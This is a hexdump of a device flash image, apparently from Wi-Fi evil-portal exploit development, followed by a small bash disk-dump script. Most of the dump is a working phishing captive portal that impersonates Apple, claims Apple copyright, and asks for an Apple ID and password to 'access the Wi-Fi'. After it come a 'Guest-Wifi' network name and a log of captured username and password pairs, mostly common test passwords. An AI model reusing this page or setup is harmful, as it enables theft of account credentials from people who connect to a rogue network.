00f7d920 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a | </div>..|
00f7d930 0d 0a 20 20 20 20 3c 2f 68 65 61 64 65 72 3e 0d |.. </header>.|
00f7d940 0a 0d 0a 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c |..... <div cl|
00f7d950 61 73 73 3d 22 6d 61 69 6e 22 3e 0d 0a 20 20 20 |ass="main">.. |
00f7d960 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f | <form actio|
00f7d970 6e 3d 22 2f 67 65 74 22 20 69 64 3d 22 65 6d 61 |n="/get" id="ema|
00f7d980 69 6c 2d 66 6f 72 6d 2d 73 74 65 70 22 20 6d 65 |il-form-step" me|
00f7d990 74 68 6f 64 3d 22 47 45 54 22 3e 0d 0a 20 20 20 |thod="GET">.. |
00f7d9a0 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 69 64 | <div id|
00f7d9b0 3d 22 73 69 67 6e 22 3e 0d 0a 20 20 20 20 20 20 |="sign">.. |
00f7d9c0 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e 53 69 | <h2>Si|
00f7d9d0 67 6e 20 69 6e 3c 2f 68 32 3e 0d 0a 20 20 20 20 |gn in</h2>.. |
00f7d9e0 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e | <h2>|
00f7d9f0 55 73 65 20 79 6f 75 72 20 41 70 70 6c 65 20 49 |Use your Apple I|
00f7da00 44 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 |D to access the |
00f7da10 57 69 2d 46 69 3c 2f 68 32 3e 0d 0a 20 20 20 20 |Wi-Fi</h2>.. |
00f7da20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a | </div>..|
00f7da30 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 | <div|
00f7da40 20 63 6c 61 73 73 3d 22 69 6e 70 75 74 22 20 69 | class="input" i|
00f7da50 64 3d 22 69 6e 70 75 74 54 65 78 74 22 3e 0d 0a |d="inputText">..|
00f7da60 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
00f7da70 3c 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 |<div>.. |
00f7da80 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 | <inpu|
00f7da90 74 20 74 79 70 65 3d 22 65 6d 61 69 6c 22 20 6e |t type="email" n|
00f7daa0 61 6d 65 3d 22 65 6d 61 69 6c 22 20 70 6c 61 63 |ame="email" plac|
00f7dab0 65 68 6f 6c 64 65 72 3d 22 41 70 70 6c 65 20 49 |eholder="Apple I|
00f7dac0 44 22 20 69 64 3d 22 61 70 70 6c 65 69 64 22 20 |D" id="appleid" |
00f7dad0 72 65 71 75 69 72 65 64 3e 0d 0a 20 20 20 20 20 |required>.. |
00f7dae0 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 | </div|
00f7daf0 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 |>.. |
00f7db00 20 20 20 3c 64 69 76 3e 0d 0a 20 20 20 20 20 20 | <div>.. |
00f7db10 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 | <i|
00f7db20 6e 70 75 74 20 74 79 70 65 3d 22 70 61 73 73 77 |nput type="passw|
00f7db30 6f 72 64 22 20 6e 61 6d 65 3d 22 70 61 73 73 77 |ord" name="passw|
00f7db40 6f 72 64 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 |ord" placeholder|
00f7db50 3d 22 50 61 73 73 77 6f 72 64 22 20 69 64 3d 22 |="Password" id="|
00f7db60 70 61 73 73 77 6f 72 64 22 20 72 65 71 75 69 72 |password" requir|
00f7db70 65 64 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 |ed>.. |
00f7db80 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 | </div>.. |
00f7db90 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d | </div>.|
00f7dba0 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 |. <di|
00f7dbb0 76 20 63 6c 61 73 73 3d 22 6c 6f 67 6f 22 3e 0d |v class="logo">.|
00f7dbc0 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 |. |
00f7dbd0 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 | <button class="|
00f7dbe0 62 75 74 74 6f 6e 22 20 74 79 70 65 3d 22 73 75 |button" type="su|
00f7dbf0 62 6d 69 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 |bmit">.. |
00f7dc00 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 76 67 | <svg|
00f7dc10 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 78 | version="1.0" x|
00f7dc20 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 |mlns="http://www|
00f7dc30 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 |.w3.org/2000/svg|
00f7dc40 22 20 77 69 64 74 68 3d 22 35 31 32 2e 30 30 30 |" width="512.000|
00f7dc50 30 30 30 70 74 22 20 68 65 69 67 68 74 3d 22 35 |000pt" height="5|
00f7dc60 31 32 2e 30 30 30 30 30 30 70 74 22 0d 0a 20 20 |12.000000pt".. |
00f7dc70 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
00f7dc80 20 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 | viewBox="0|
00f7dc90 20 30 20 35 31 32 2e 30 30 30 30 30 30 20 35 31 | 0 512.000000 51|
00f7dca0 32 2e 30 30 30 30 30 30 22 20 70 72 65 73 65 72 |2.000000" preser|
00f7dcb0 76 65 41 73 70 65 63 74 52 61 74 69 6f 3d 22 78 |veAspectRatio="x|
00f7dcc0 4d 69 64 59 4d 69 64 20 6d 65 65 74 22 3e 0d 0a |MidYMid meet">..|
00f7dcd0 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 |.. |
00f7dce0 20 20 20 20 20 20 20 20 20 20 3c 67 20 74 72 61 | <g tra|
00f7dcf0 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 |nsform="translat|
00f7dd00 65 28 30 2e 30 30 30 30 30 30 2c 35 31 32 2e 30 |e(0.000000,512.0|
00f7dd10 30 30 30 30 30 29 20 73 63 61 6c 65 28 30 2e 31 |00000) scale(0.1|
00f7dd20 30 30 30 30 30 2c 2d 30 2e 31 30 30 30 30 30 29 |00000,-0.100000)|
00f7dd30 22 20 66 69 6c 6c 3d 22 23 30 30 30 30 30 30 22 |" fill="#000000"|
00f7dd40 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 |.. |
00f7dd50 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 | st|
00f7dd60 72 6f 6b 65 3d 22 6e 6f 6e 65 22 3e 0d 0a 20 20 |roke="none">.. |
00f7dd70 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
00f7dd80 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 | <path |
00f7dd90 64 3d 22 4d 32 33 33 30 20 35 31 31 30 20 63 2d |d="M2330 5110 c-|
00f7dda0 34 39 34 20 2d 34 38 20 2d 39 35 30 20 2d 32 33 |494 -48 -950 -23|
00f7ddb0 30 20 2d 31 33 35 30 20 2d 35 33 38 20 2d 31 39 |0 -1350 -538 -19|
00f7ddc0 35 20 2d 31 35 30 20 2d 34 34 38 20 2d 34 33 32 |5 -150 -448 -432|
00f7ddd0 20 2d 35 39 34 0d 0a 20 20 20 20 20 20 20 20 20 | -594.. |
00f7dde0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
00f7ddf0 20 20 20 2d 36 36 32 20 2d 36 33 20 2d 39 39 20 | -662 -63 -99 |
00f7de00 2d 31 38 36 20 2d 33 35 31 20 2d 32 33 30 20 2d |-186 -351 -230 -|
00f7de10 34 37 31 20 2d 35 31 20 2d 31 33 39 20 2d 31 30 |471 -51 -139 -10|
00f7de20 33 20 2d 33 34 34 20 2d 31 32 38 20 2d 35 30 34 |3 -344 -128 -504|
00f7de30 20 2d 33 31 20 2d 32 30 30 20 2d 33 31 0d 0a 20 | -31 -200 -31.. |
00f7de40 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
00f7de50 20 20 20 20 20 20 20 20 20 20 20 2d 35 35 30 20 | -550 |
00f7de60 30 20 2d 37 35 30 20 34 33 20 2d 32 37 33 20 31 |0 -750 43 -273 1|
00f7de70 31 34 20 2d 35 30 30 20 32 33 37 20 2d 37 35 30 |14 -500 237 -750|
00f7de80 20 31 33 32 20 2d 32 36 39 20 32 36 39 20 2d 34 | 132 -269 269 -4|
00f7de90 36 30 20 34 38 39 20 2d 36 38 31 20 32 32 31 20 |60 489 -681 221 |
00f7dea0 2d 32 32 30 0d 0a 20 20 20 20 20 20 20 20 20 20 |-220.. |
00f7deb0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
00f7dec0 20 20 34 31 32 20 2d 33 35 37 20 36 38 31 20 2d | 412 -357 681 -|
00f7ded0 34 38 39 20 32 34 37 20 2d 31 32 31 20 34 36 39 |489 247 -121 469|
00f7dee0 20 2d 31 39 32 20 37 34 35 20 2d 32 33 37 20 31 | -192 745 -237 1|
00f7def0 39 35 20 2d 33 31 20 35 36 35 20 2d 33 31 20 37 |95 -31 565 -31 7|
00f7df00 36 30 20 30 20 32 37 36 20 34 35 0d 0a 20 20 20 |60 0 276 45.. |
00f7df10 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
00f7df20 20 20 20 20 20 20 20 20 20 34 39 38 20 31 31 36 | 498 116|
00f7df30 20 37 34 35 20 32 33 37 20 32 36 39 20 31 33 32 | 745 237 269 132|
00f7df40 20 34 36 30 20 32 36 39 20 36 38 31 20 34 38 39 | 460 269 681 489|
00f7df50 20 32 32 30 20 32 32 31 20 33 35 37 20 34 31 32 | 220 221 357 412|
00f7df60 20 34 38 39 20 36 38 31 20 31 32 33 20 32 35 30 | 489 681 123 250|
00f7df70 20 31 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 | 194.. |
00f7df80 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
00f7df90 20 20 34 37 37 20 32 33 37 20 37 35 30 20 33 31 | 477 237 750 31|
00f7dfa0 20 32 30 30 20 33 31 20 35 35 30 20 30 20 37 35 | 200 31 550 0 75|
00f7dfb0 30 20 2d 34 33 20 32 37 33 20 2d 31 31 34 20 35 |0 -43 273 -114 5|
00f7dfc0 30 30 20 2d 32 33 37 20 37 35 30 20 2d 31 33 32 |00 -237 750 -132|
00f7dfd0 20 32 36 39 20 2d 32 36 39 20 34 36 30 0d 0a 20 | 269 -269 460.. |
00f7dfe0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
00f7dff0 20 20 20 20 20 20 20 20 20 20 20 2d 34 38 39 20 | -489 |
00f7e000 36 38 31 20 2d 32 32 31 20 32 32 30 20 2d 34 31 |681 -221 220 -41|
00f7e010 32 20 33 35 37 20 2d 36 38 31 20 34 38 39 20 2d |2 357 -681 489 -|
00f7e020 32 34 36 20 31 32 31 20 2d 34 37 34 20 31 39 33 |246 121 -474 193|
00f7e030 20 2d 37 34 30 20 32 33 35 20 2d 31 34 37 20 32 | -740 235 -147 2|
00f7e040 33 20 2d 34 37 35 0d 0a 20 20 20 20 20 20 20 20 |3 -475.. |
00f7e050 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
00f7e060 20 20 20 20 33 34 20 2d 36 31 35 20 32 30 7a 20 | 34 -615 20z |
00f7e070 6d 34 33 30 20 2d 33 35 31 20 63 38 37 32 20 2d |m430 -351 c872 -|
00f7e080 37 39 20 31 36 32 32 20 2d 36 37 35 20 31 38 39 |79 1622 -675 189|
00f7e090 36 20 2d 31 35 30 36 20 33 35 30 20 2d 31 30 36 |6 -1506 350 -106|
00f7e0a0 30 20 2d 31 34 35 20 2d 32 32 31 32 0d 0a 20 20 |0 -145 -2212.. |
00f7e0b0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
00f7e0c0 20 20 20 20 20 20 20 20 20 20 2d 31 31 35 36 20 | -1156 |
00f7e0d0 2d 32 36 39 31 20 2d 31 30 39 36 20 2d 35 31 39 |-2691 -1096 -519|
00f7e0e0 20 2d 32 34 31 36 20 2d 34 34 20 2d 32 39 33 38 | -2416 -44 -2938|
00f7e0f0 20 31 30 35 38 20 2d 33 39 37 20 38 33 37 20 2d | 1058 -397 837 -|
00f7e100 32 32 31 20 31 38 34 31 20 34 33 38 20 32 35 30 |221 1841 438 250|
00f7e110 30 20 34 36 35 0d 0a 20 20 20 20 20 20 20 20 20 |0 465.. |
00f7e120 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
00f7e130 20 20 20 34 36 35 20 31 31 30 38 20 36 39 39 20 | 465 1108 699 |
00f7e140 31 37 36 30 20 36 33 39 7a 22 20 2f 3e 0d 0a 20 |1760 639z" />.. |
00f7e150 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
00f7e160 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 | <path|
00f7e170 20 64 3d 22 4d 32 37 33 35 20 33 37 30 32 20 63 | d="M2735 3702 c|
00f7e180 2d 37 39 20 2d 32 38 20 2d 31 32 37 20 2d 39 33 |-79 -28 -127 -93|
00f7e190 20 2d 31 32 37 20 2d 31 37 32 20 31 20 2d 32 37 | -127 -172 1 -27|
00f7e1a0 20 38 20 2d 36 31 20 31 36 20 2d 37 37 20 38 20 | 8 -61 16 -77 8 |
00f7e1b0 2d 31 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 |-15.. |
00f7e1c0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
00f7e1d0 20 31 36 38 20 2d 31 38 31 20 33 35 35 20 2d 33 | 168 -181 355 -3|
00f7e1e0 36 38 20 6c 33 34 31 20 2d 33 34 30 20 2d 39 39 |68 l341 -340 -99|
00f7e1f0 32 20 2d 35 20 63 2d 38 39 39 20 2d 35 20 2d 39 |2 -5 c-899 -5 -9|
00f7e200 39 36 20 2d 37 20 2d 31 30 32 33 20 2d 32 32 20 |96 -7 -1023 -22 |
00f7e210 2d 36 34 20 2d 33 35 20 2d 39 37 0d 0a 20 20 20 |-64 -35 -97.. |
00f7e220 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
00f7e230 20 20 20 20 20 20 20 20 20 2d 39 30 20 2d 39 37 | -90 -97|
00f7e240 20 2d 31 35 38 20 30 20 2d 36 38 20 33 33 20 2d | -158 0 -68 33 -|
00f7e250 31 32 33 20 39 37 20 2d 31 35 38 20 32 37 20 2d |123 97 -158 27 -|
00f7e260 31 35 20 31 32 34 20 2d 31 37 20 31 30 32 33 20 |15 124 -17 1023 |
00f7e270 2d 32 32 20 6c 39 39 32 20 2d 35 20 2d 33 34 31 |-22 l992 -5 -341|
00f7e280 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 |.. |
00f7e290 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2d 33 | -3|
00f7e2a0 34 30 20 63 2d 31 38 37 20 2d 31 38 37 20 2d 33 |40 c-187 -187 -3|
00f7e2b0 34 37 20 2d 33 35 33 20 2d 33 35 35 20 2d 33 36 |47 -353 -355 -36|
00f7e2c0 38 20 2d 32 30 20 2d 33 37 20 2d 32 30 20 2d 31 |8 -20 -37 -20 -1|
00f7e2d0 31 37 20 30 20 2d 31 35 35 20 32 34 20 2d 34 36 |17 0 -155 24 -46|
00f7e2e0 20 38 34 20 2d 39 30 0d 0a 20 20 20 20 20 20 20 | 84 -90.. |
00f7e2f0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
00f7e300 20 20 20 20 20 31 33 32 20 2d 39 38 20 38 37 20 | 132 -98 87 |
00f7e310 2d 31 33 20 39 38 20 2d 34 20 36 32 32 20 35 31 |-13 98 -4 622 51|
00f7e320 39 20 32 36 36 20 32 36 35 20 34 39 36 20 35 30 |9 266 265 496 50|
00f7e330 32 20 35 31 32 20 35 32 36 20 34 30 20 36 30 20 |2 512 526 40 60 |
00f7e340 34 36 20 31 30 31 20 32 35 20 31 35 39 0d 0a 20 |46 101 25 159.. |
00f7e350 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
00f7e360 20 20 20 20 20 20 20 20 20 20 20 2d 31 35 20 34 | -15 4|
00f7e370 30 20 2d 39 30 20 31 32 30 20 2d 35 30 34 20 35 |0 -90 120 -504 5|
00f7e380 33 35 20 2d 32 36 37 20 32 36 39 20 2d 35 30 35 |35 -267 269 -505|
00f7e390 20 35 30 32 20 2d 35 32 38 20 35 31 38 20 2d 34 | 502 -528 518 -4|
00f7e3a0 33 20 33 30 20 2d 31 31 31 20 34 34 20 2d 31 34 |3 30 -111 44 -14|
00f7e3b0 38 20 33 31 7a 22 20 2f 3e 0d 0a 20 20 20 20 20 |8 31z" />.. |
00f7e3c0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
00f7e3d0 20 20 20 3c 2f 67 3e 0d 0a 20 20 20 20 20 20 20 | </g>.. |
00f7e3e0 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 73 | </s|
00f7e3f0 76 67 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 |vg>.. |
00f7e400 20 20 20 20 20 3c 2f 62 75 74 74 6f 6e 3e 0d 0a | </button>..|
00f7e410 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 | </di|
00f7e420 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 |v>.. |
00f7e430 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 6e 70 75 |<div class="inpu|
00f7e440 74 32 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 |t2">.. |
00f7e450 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 | <input typ|
00f7e460 65 3d 22 63 68 65 63 6b 62 6f 78 22 20 6e 61 6d |e="checkbox" nam|
00f7e470 65 3d 22 72 65 6d 65 6d 62 65 72 22 20 69 64 3d |e="remember" id=|
00f7e480 22 72 65 6d 65 6d 62 65 72 22 3e 3c 6c 61 62 65 |"remember"><labe|
00f7e490 6c 20 66 6f 72 3d 22 72 65 6d 65 6d 62 65 72 22 |l for="remember"|
00f7e4a0 20 69 64 3d 22 72 32 22 3e 52 65 6d 65 6d 62 65 | id="r2">Remembe|
00f7e4b0 72 20 6d 65 3c 2f 6c 61 62 65 6c 3e 0d 0a 20 20 |r me</label>.. |
00f7e4c0 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e | </div>|
00f7e4d0 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 |.. <h|
00f7e4e0 34 3e 3c 61 20 68 72 65 66 3d 22 23 22 3e 46 6f |4><a href="#">Fo|
00f7e4f0 72 67 6f 74 20 41 70 70 6c 65 20 49 44 20 6f 72 |rgot Apple ID or|
00f7e500 20 70 61 73 73 77 6f 72 64 3f 3c 2f 61 3e 3c 73 | password?</a><s|
00f7e510 70 61 6e 3e 3c 69 20 63 6c 61 73 73 3d 27 62 78 |pan><i class='bx|
00f7e520 20 62 78 2d 75 70 2d 61 72 72 6f 77 2d 61 6c 74 | bx-up-arrow-alt|
00f7e530 27 3e 3c 2f 69 3e 3c 2f 73 70 61 6e 3e 3c 2f 68 |'></i></span></h|
00f7e540 34 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 |4>.. |
00f7e550 3c 68 34 3e 44 6f 6e 74 27 74 20 68 61 76 65 20 |<h4>Dont't have |
00f7e560 61 6e 20 41 70 70 6c 65 20 49 44 3f 20 3c 61 20 |an Apple ID? <a |
00f7e570 68 72 65 66 3d 22 23 22 3e 43 72 65 61 74 65 20 |href="#">Create |
00f7e580 79 6f 75 72 73 20 6e 6f 77 2e 3c 2f 61 3e 3c 73 |yours now.</a><s|
00f7e590 70 61 6e 3e 3c 69 0d 0a 20 20 20 20 20 20 20 20 |pan><i.. |
00f7e5a0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
00f7e5b0 63 6c 61 73 73 3d 27 62 78 20 62 78 2d 75 70 2d |class='bx bx-up-|
00f7e5c0 61 72 72 6f 77 2d 61 6c 74 27 3e 3c 2f 69 3e 3c |arrow-alt'></i><|
00f7e5d0 2f 73 70 61 6e 3e 3c 2f 68 34 3e 0d 0a 20 20 20 |/span></h4>.. |
00f7e5e0 20 20 20 20 20 3c 2f 66 6f 72 6d 3e 0d 0a 20 20 | </form>.. |
00f7e5f0 20 20 3c 2f 64 69 76 3e 0d 0a 0d 0a 20 20 20 20 | </div>.... |
00f7e600 3c 66 6f 6f 74 65 72 3e 0d 0a 20 20 20 20 20 20 |<footer>.. |
00f7e610 20 20 3c 70 3e 43 6f 70 79 72 69 67 68 74 20 26 | <p>Copyright &|
00f7e620 63 6f 70 79 20 32 30 32 33 20 41 70 70 6c 65 20 |copy 2023 Apple |
00f7e630 49 6e 63 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 |Inc. All rights |
00f7e640 72 65 73 65 72 76 65 64 2e 3c 2f 70 3e 0d 0a 20 |reserved.</p>.. |
00f7e650 20 20 20 20 20 20 20 3c 70 3e 50 72 69 76 61 63 | <p>Privac|
00f7e660 79 20 50 6f 6c 69 63 79 3c 2f 70 3e 0d 0a 20 20 |y Policy</p>.. |
00f7e670 20 20 20 20 20 20 3c 70 3e 54 65 72 6d 73 20 6f | <p>Terms o|
00f7e680 66 20 55 73 65 3c 2f 70 3e 0d 0a 20 20 20 20 3c |f Use</p>.. <|
00f7e690 2f 66 6f 6f 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 |/footer>..</body|
00f7e6a0 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 00 00 |>....</html>....|
00f7e6b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00f80000 47 75 65 73 74 2d 57 69 66 69 00 00 00 00 00 00 |Guest-Wifi......|
00f80010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00f84000 75 3a 20 31 32 33 34 35 36 20 70 3a 20 31 32 33 |u: 123456 p: 123|
00f84010 34 35 36 0a 75 3a 20 31 32 33 34 35 20 70 3a 20 |456.u: 12345 p: |
00f84020 31 32 33 34 35 0a 75 3a 20 70 61 73 73 77 6f 72 |12345.u: passwor|
00f84030 64 20 70 3a 20 70 61 73 73 77 6f 72 64 0a 75 3a |d p: password.u:|
00f84040 20 70 61 73 73 77 6f 72 64 31 20 70 3a 20 70 61 | password1 p: pa|
00f84050 73 73 77 6f 72 64 31 0a 75 3a 20 31 32 33 34 35 |ssword1.u: 12345|
00f84060 36 37 38 39 20 70 3a 20 31 32 33 34 35 36 37 38 |6789 p: 12345678|
00f84070 39 0a 75 3a 20 31 32 33 34 35 36 37 38 20 70 3a |9.u: 12345678 p:|
00f84080 20 31 32 33 34 35 36 37 38 0a 75 3a 20 31 32 33 | 12345678.u: 123|
00f84090 34 35 36 37 38 39 30 20 70 3a 20 31 32 33 34 35 |4567890 p: 12345|
00f840a0 36 37 38 39 30 0a 75 3a 20 61 62 63 31 32 33 20 |67890.u: abc123 |
00f840b0 70 3a 20 61 62 63 31 32 33 0a 75 3a 20 63 6f 6d |p: abc123.u: com|
00f840c0 70 75 74 65 72 20 70 3a 20 63 6f 6d 70 75 74 65 |puter p: compute|
00f840d0 72 0a 75 3a 20 74 69 67 67 65 72 20 70 3a 20 74 |r.u: tigger p: t|
00f840e0 69 67 67 65 72 0a 75 3a 20 31 32 33 34 20 70 3a |igger.u: 1234 p:|
00f840f0 20 31 32 33 34 0a 75 3a 20 71 77 65 72 74 79 20 | 1234.u: qwerty |
00f84100 70 3a 20 71 77 65 72 74 79 0a 75 3a 20 6d 6f 6e |p: qwerty.u: mon|
00f84110 65 79 20 70 3a 20 6d 6f 6e 65 79 0a 75 3a 20 63 |ey p: money.u: c|
00f84120 61 72 6d 65 6e 20 70 3a 20 63 61 72 6d 65 6e 0a |armen p: carmen.|
00f84130 75 3a 20 6d 69 63 6b 65 79 20 70 3a 20 6d 69 63 |u: mickey p: mic|
00f84140 6b 65 79 0a 75 3a 20 73 65 63 72 65 74 20 70 3a |key.u: secret p:|
00f84150 20 73 65 63 72 65 74 0a 75 3a 20 73 75 6d 6d 65 | secret.u: summe|
00f84160 72 20 70 3a 20 73 75 6d 6d 65 72 0a 75 3a 20 69 |r p: summer.u: i|
00f84170 6e 74 65 72 6e 65 74 20 70 3a 20 69 6e 74 65 72 |nternet p: inter|
00f84180 6e 65 74 0a 75 3a 20 61 31 62 32 63 33 20 70 3a |net.u: a1b2c3 p:|
00f84190 20 61 31 62 32 63 33 0a 75 3a 20 31 32 33 20 70 | a1b2c3.u: 123 p|
00f841a0 3a 20 31 32 33 0a 75 3a 20 73 65 72 76 69 63 65 |: 123.u: service|
00f841b0 20 70 3a 20 73 65 72 76 69 63 65 0a 75 3a 20 20 | p: service.u: |
00f841c0 70 3a 20 0a 75 3a 20 63 61 6e 61 64 61 20 70 3a |p: .u: canada p:|
00f841d0 20 63 61 6e 61 64 61 0a 75 3a 20 68 65 6c 6c 6f | canada.u: hello|
00f841e0 20 70 3a 20 68 65 6c 6c 6f 0a 75 3a 20 72 61 6e | p: hello.u: ran|
00f841f0 67 65 72 20 70 3a 20 72 61 6e 67 65 72 0a 75 3a |ger p: ranger.u:|
00f84200 20 73 68 61 64 6f 77 20 70 3a 20 73 68 61 64 6f | shadow p: shado|
00f84210 77 0a 75 3a 20 62 61 73 65 62 61 6c 6c 20 70 3a |w.u: baseball p:|
00f84220 20 62 61 73 65 62 61 6c 6c 0a 75 3a 20 64 6f 6e | baseball.u: don|
00f84230 61 6c 64 20 70 3a 20 64 6f 6e 61 6c 64 0a 75 3a |ald p: donald.u:|
00f84240 20 68 61 72 6c 65 79 20 70 3a 20 68 61 72 6c 65 | harley p: harle|
00f84250 79 0a 75 3a 20 68 6f 63 6b 65 79 20 70 3a 20 68 |y.u: hockey p: h|
00f84260 6f 63 6b 65 79 0a 75 3a 20 6c 65 74 6d 65 69 6e |ockey.u: letmein|
00f84270 20 70 3a 20 6c 65 74 6d 65 69 6e 0a 75 3a 20 6d | p: letmein.u: m|
00f84280 61 67 67 69 65 20 70 3a 20 6d 61 67 67 69 65 0a |aggie p: maggie.|
00f84290 75 3a 20 6d 69 6b 65 20 70 3a 20 6d 69 6b 65 0a |u: mike p: mike.|
00f842a0 75 3a 20 6d 75 73 74 61 6e 67 20 70 3a 20 6d 75 |u: mustang p: mu|
00f842b0 73 74 61 6e 67 0a 75 3a 20 73 6e 6f 6f 70 79 20 |stang.u: snoopy |
00f842c0 70 3a 20 73 6e 6f 6f 70 79 0a 75 3a 20 62 75 73 |p: snoopy.u: bus|
00f842d0 74 65 72 20 70 3a 20 62 75 73 74 65 72 0a 75 3a |ter p: buster.u:|
00f842e0 20 64 72 61 67 6f 6e 20 70 3a 20 64 72 61 67 6f | dragon p: drago|
00f842f0 6e 0a 75 3a 20 6a 6f 72 64 61 6e 20 70 3a 20 6a |n.u: jordan p: j|
00f84300 6f 72 64 61 6e 0a 75 3a 20 6d 69 63 68 61 65 6c |ordan.u: michael|
00f84310 20 70 3a 20 6d 69 63 68 61 65 6c 0a 75 3a 20 6d | p: michael.u: m|
00f84320 69 63 68 65 6c 6c 65 20 70 3a 20 6d 69 63 68 65 |ichelle p: miche|
00f84330 6c 6c 65 0a 75 3a 20 6d 69 6e 64 79 20 70 3a 20 |lle.u: mindy p: |
00f84340 6d 69 6e 64 79 0a 75 3a 20 70 61 74 72 69 63 6b |mindy.u: patrick|
00f84350 20 70 3a 20 70 61 74 72 69 63 6b 0a 75 3a 20 31 | p: patrick.u: 1|
00f84360 32 33 61 62 63 20 70 3a 20 31 32 33 61 62 63 0a |23abc p: 123abc.|
00f84370 75 3a 20 61 6e 64 72 65 77 20 70 3a 20 61 6e 64 |u: andrew p: and|
00f84380 72 65 77 0a 75 3a 20 62 65 61 72 20 70 3a 20 62 |rew.u: bear p: b|
00f84390 65 61 72 0a 75 3a 20 63 61 6c 76 69 6e 20 70 3a |ear.u: calvin p:|
00f843a0 20 63 61 6c 76 69 6e 0a 75 3a 20 63 68 61 6e 67 | calvin.u: chang|
00f843b0 65 6d 65 20 70 3a 20 63 68 61 6e 67 65 6d 65 0a |eme p: changeme.|
00f843c0 70 3a 20 0a 75 3a 20 63 61 6e 61 64 61 20 70 3a |p: .u: canada p:|
00f843d0 20 63 61 6e 61 64 61 0a 75 3a 20 68 65 6c 6c 6f | canada.u: hello|
00f843e0 20 70 3a 20 68 65 6c 6c 6f 0a 75 3a 20 72 61 6e | p: hello.u: ran|
00f843f0 67 65 72 20 70 3a 20 72 61 6e 67 65 72 0a 75 3a |ger p: ranger.u:|
00f84400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
738c00000
+23
View File
@@ -0,0 +1,23 @@
#!/bin/bash
number=2
tag=incremental-overrun-nullbyte
blocks=32
blocksize=1M
dumpsize=32M
echo -e "\nListing Disks"
lsblk
echo -e "\nEnter disk (e.x. sda or sdb - BE CAREFUL)"
read disk
block=/dev/$disk
timestamp=$(date "+%d%m%Y-%H.%M.%S-%Z")
filename="/home/kali/marauderexploitdev/imgs/${number}-${tag}-${dumpsize}-${timestamp}.img"
echo -e "\nWriting to ${filename}"
sudo dd if=$block of=$filename bs=$blocksize count=$blocks status=progress conv=fdatasync
